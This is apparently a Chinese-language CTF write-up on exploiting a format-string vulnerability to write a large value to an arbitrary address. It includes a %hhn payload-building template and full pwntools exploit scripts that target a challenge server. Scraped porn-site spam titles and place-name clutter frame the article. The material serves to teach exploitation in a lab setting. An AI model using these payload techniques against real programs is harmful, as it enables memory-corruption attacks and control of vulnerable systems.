最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python網(wǎng)絡(luò)安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解

 更新時(shí)間:2021年10月14日 14:34:50   作者:gxhhh191  
這篇文章主要介紹了Python網(wǎng)絡(luò)安全格式字符串漏洞任意地址覆蓋大數(shù)字的示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步

格式化字符串漏洞覆蓋大數(shù)字時(shí),如果選擇一次性輸出大數(shù)字個(gè)字節(jié)來進(jìn)行覆蓋,會(huì)很久很久,或者直接報(bào)錯(cuò)中斷,所以來搞個(gè)攻防世界高手區(qū)的題目來總結(jié)一下

pwn高手區(qū),實(shí)時(shí)數(shù)據(jù)監(jiān)測這道題,就是格式化字符串漏洞覆蓋大數(shù)字

請?zhí)砑訄D片描述

請?zhí)砑訄D片描述

題目運(yùn)行時(shí)會(huì)直接告訴你key的地址,我們只需要利用imagemagic中的printf利用格式化字符串漏洞來覆蓋就行了,但就像剛才說的,直接覆蓋時(shí)間太久了而且會(huì)報(bào)錯(cuò),所以可以想想別的辦法

如果我們想覆蓋key為0x02223322,那么根據(jù)小端存儲(chǔ),在內(nèi)存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位

在格式化字符串中,%hhn會(huì)向某個(gè)地址寫入單字節(jié),%hn 會(huì)向某個(gè)地址寫入雙字節(jié),單字節(jié)的用的比較多

在這道題中,要覆蓋的地址為0x0804a048,要覆蓋的數(shù)據(jù)為0x02223322,相當(dāng)于

0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02

字符串偏移用%p計(jì)算出來為12

請?zhí)砑訄D片描述

所以payload構(gòu)造如下

payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'

很麻煩,但是wiki中給出了一個(gè)模板,無論在x86還是x64下都能使用

模板如下

#prev表示前面已輸出的字節(jié)
#word表示應(yīng)該輸出的字節(jié)
#index表示偏移量
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
#offset表示起始偏移量,比如這題為12
#size表示字節(jié)長度,x86為4,x64為8
#addr表示要覆蓋的地址,這題為0x0804a048
#target表示要覆蓋的值,這題為0x02223322
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):#一次傳送一個(gè)字節(jié)
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)

這里要注意一下prev > word的情況,因?yàn)橐呀?jīng)輸出的字符串大于了我們要輸入的數(shù)值,所以前面加了256,一次只接受一個(gè)字節(jié),用溢出來穿,比如prev = 2,word = 1,result = 255,再算上之前已經(jīng)傳的2,一共是257,溢出之后就是1,就是我們要傳的數(shù)值

完整exp如下 我用的高版本烏班圖,然后是python3,所以做了一些修改,來保證bytes和str

from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12個(gè)參數(shù) AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
    if prev < word:
        result = word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    fmtstr += ('%' + str(index) + '$hhn').encode()
    return fmtstr
def fmt_str(offset,size,addr,target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

請?zhí)砑訄D片描述

參考ctf-wiki 跳轉(zhuǎn)處

也可以直接用fmtstr_payload,它是pwntools中的一個(gè)工具,可以簡化格式化字符串漏洞的利用

pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str

第一個(gè)參數(shù)為偏移,第二個(gè)參數(shù){addr:value}表示寫入的數(shù)據(jù),第三個(gè)參數(shù)表示已輸出的字符,這里默認(rèn)值為0,我就沒寫,第四個(gè)參數(shù)表示寫入?yún)?shù)一次寫入的大小,有byte,short,int,對應(yīng)hhn,hn,n

官方文檔

exp如下

from pwn import *

p = remote('111.200.241.244', '58464')

payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()

非常簡短,很方便

以上就是Python網(wǎng)絡(luò)安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解的詳細(xì)內(nèi)容,更多關(guān)于Python格式化字符串漏洞覆蓋大數(shù)字的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Python中遍歷字典過程中更改元素導(dǎo)致異常的解決方法

    Python中遍歷字典過程中更改元素導(dǎo)致異常的解決方法

    這篇文章主要介紹了Python中遍歷字典過程中更改元素導(dǎo)致錯(cuò)誤的解決方法,針對增刪元素后出現(xiàn)dictionary changed size during iteration的異常解決做出討論和解決,需要的朋友可以參考下
    2016-05-05
  • 使用Python裝飾器在Django框架下去除冗余代碼的教程

    使用Python裝飾器在Django框架下去除冗余代碼的教程

    這篇文章主要介紹了使用Python裝飾器在Django框架下去除冗余代碼的教程,主要是處理JSON代碼的一些冗余,需要的朋友可以參考下
    2015-04-04
  • Python元組Tuple常用函數(shù)詳解

    Python元組Tuple常用函數(shù)詳解

    Python元組Tuple使用小括號()包裹,元素之間使用逗號,間隔,元組與列表相似,但元組的元素不可變,本文就給大家詳細(xì)介紹一下元組的常用函數(shù)以及基本操作,感興趣的朋友可以參考閱讀下
    2023-07-07
  • Python數(shù)據(jù)持久化存儲(chǔ)實(shí)現(xiàn)方法分析

    Python數(shù)據(jù)持久化存儲(chǔ)實(shí)現(xiàn)方法分析

    這篇文章主要介紹了Python數(shù)據(jù)持久化存儲(chǔ)實(shí)現(xiàn)方法,結(jié)合實(shí)例形式分析了Python基于pymongo及mysql模塊的數(shù)據(jù)持久化存儲(chǔ)操作相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2019-12-12
  • opencv python如何實(shí)現(xiàn)圖像二值化

    opencv python如何實(shí)現(xiàn)圖像二值化

    這篇文章主要介紹了opencv python如何實(shí)現(xiàn)圖像二值化,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02
  • Python2.X/Python3.X中urllib庫區(qū)別講解

    Python2.X/Python3.X中urllib庫區(qū)別講解

    本篇文章通過對比給大家詳細(xì)講解了在Python2和Python3中urllib庫區(qū)別以及用法講解,有需要的朋友跟著學(xué)習(xí)下吧。
    2017-12-12
  • Python實(shí)現(xiàn)用戶登錄注冊

    Python實(shí)現(xiàn)用戶登錄注冊

    這篇文章主要為大家詳細(xì)介紹了Python實(shí)現(xiàn)用戶登錄注冊,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-02-02
  • python人工智能遺傳算法示例解析

    python人工智能遺傳算法示例解析

    這篇文章主要為大家介紹了python人工智能遺傳算法示例解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-05-05
  • 使用Python封裝excel操作指南

    使用Python封裝excel操作指南

    這篇文章主要給大家介紹了關(guān)于使用Python封裝excel操作的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • python基礎(chǔ)操作列表切片解析

    python基礎(chǔ)操作列表切片解析

    列表和字符串一樣,列表同樣可以截取和被索引,列表被截取后返回一個(gè)包含所需元素的新列表,List中的元素是可以改變的,需要的朋友可以參考下
    2023-04-04

最新評論

双城市| 辰溪县| 通辽市| 崇礼县| 临猗县| 镇原县| 湟源县| 新建县| 嘉峪关市| 额尔古纳市| 遵义市| 芜湖市| 奉贤区| 新竹市| 蒙自县| 玉溪市| 绥宁县| 西青区| 富蕴县| 太康县| 余庆县| 平山县| 双鸭山市| 潼南县| 玛纳斯县| 吉林省| 乌兰浩特市| 阿坝县| 积石山| 满洲里市| 大庆市| 荆门市| 祥云县| 黄梅县| 上高县| 宣汉县| 伊川县| 乌拉特后旗| 喀喇沁旗| 大同县| 宜城市|